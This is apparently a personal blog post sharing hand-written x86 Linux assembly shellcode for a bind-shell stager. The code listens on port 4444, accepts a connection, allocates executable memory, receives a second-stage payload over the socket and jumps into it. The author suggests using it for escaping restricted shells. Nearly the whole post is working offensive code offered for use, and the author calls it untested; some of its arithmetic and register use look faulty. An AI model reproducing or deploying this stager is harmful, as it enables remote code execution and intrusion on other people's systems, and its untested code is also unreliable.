Last day I was asking myself about metasploit not seeming to have a real x86 Linux stager and I was like : oh let’s do it since I have time today.

This shellcode was untested and not optimised. It is only a Work In Progress since I will be quite busy these few next weeks. My guess for it’s usage would be for jailbreaking (restricted shell but vulnerable program who knows? ;) ) or simply for doing specific tasks which might need space.

For now it’s 106 bytes, there is room for improvements of course ;) .

Here it is :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
; AGPL v3
; Author : m_101

bits 32

; socket function number
%define SYS_SOCKET  1
%define SYS_BIND    2
%define SYS_LISTEN  4
%define SYS_ACCEPT  5
%define SYS_RECV    10

;
%define AF_INET     2

%define SOCK_STREAM 1

%define PROT_NONE   0
%define PROT_READ   1
%define PROT_WRITE  2
%define PROT_EXEC   4

%define MAP_SHARED  1
%define MAP_PRIVATE 2
%define MAP_FIXED   16

;
%define SIZEOF_SOCKADDR_IN  16

;
%define PORT    4444

section .text

stager:
; socket opening
socket:
push byte 102   ; socketcall
pop eax
; args
cdq
mov byte dl, 2  ; edx = 2 <=> AF_INET
push edx
dec edx         ; edx = 1 <=> SOCK_STREAM
push edx
cdq             ; reset edx
push edx
mov ecx, esp
; socket
push byte SYS_SOCKET
pop ebx
; socket (AF_INET, SOCK_STREAM, 0)
int 0x80
mov esi, eax    ; save socket descriptor
; bind : need to finish it
bind:
push byte 102   ; socketcall
pop eax
cdq             ; reset edx
; constructing struct sockaddr_in
push edx            ; padding
push edx            ; padding
push edx            ; address = 0 = ANY_ADDRESS
push word PORT      ; sin_port
push byte AF_INET   ; sin_family
mov ecx, esp        ; struct sockaddr_in *addr

; construct args array
push byte SIZEOF_SOCKADDR_IN    ; socklen_t addrlen
push ecx                        ; struct sockaddr_in *addr
push esi                        ; socket descriptor
mov ecx, esp                    ; args
push byte SYS_BIND
pop ebx
; bind (sd, addr, 16)
int 0x80

; listen
listen:
push byte 102
pop eax
cdq             ; reset edx
mov byte dl, 10 ; backlog = 10
push edx        ; backlog
push esi        ; socket descriptor
mov ecx, esp    ; args
push byte SYS_LISTEN
pop ebx
; listen (sd, 10);
int 0x80
;
accept:
push byte 102      ; socketcall
pop eax
push byte SIZEOF_SOCKADDR_IN
push esp    ; to fix size address
push esp    ; to fix sockaddr_in address
push esi
mov ecx, esp    ; args array
mov byte bl, SYS_ACCEPT
int 0x80
mov esi, eax    ; save client socket


; memory allocation
; mmap
mmap:
push byte 90
pop eax
; sign extend eax => edx = 0
cdq
; construct args
push edx    ; NULL
; 4MB size
push byte 1
pop edx
shr edx, 12
push edx        ; edx = 4MB
xchg edx, ebx   ; ebx = 4MB
; PROT_READ | PROT_WRITE | PROT_EXEC = 7
cdq
mov byte dl, PROT_READ | PROT_WRITE | PROT_EXEC
push edx
; MAP_PRIVATE
cdq
mov byte dl, MAP_PRIVATE
push edx
; fd
push edi    ; client socket
; offset
cdq         ; reset edx
push edx    ; offset = 0
; mmap (NULL, 4MB, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE, 0, 0)
int 0x80        ; make syscall
mov edi, eax    ; save allocated memory

recv:
push byte 102   ; socketcall syscall
pop eax

cdq             ; reset edx
push edx        ; flag
push ebx        ; memory allocated size
push edi        ; memory address
push esi        ; client socket descriptor
mov ecx, esp    ; args

push byte SYS_RECV
pop ebx

; recv (client socket descriptor, memory address, 4MB, 0);
int 0x80

; stage execution
jmp edi

Next thing to do is to optimized it and do the reverse version ;) .

Happy shellcoding,

m_101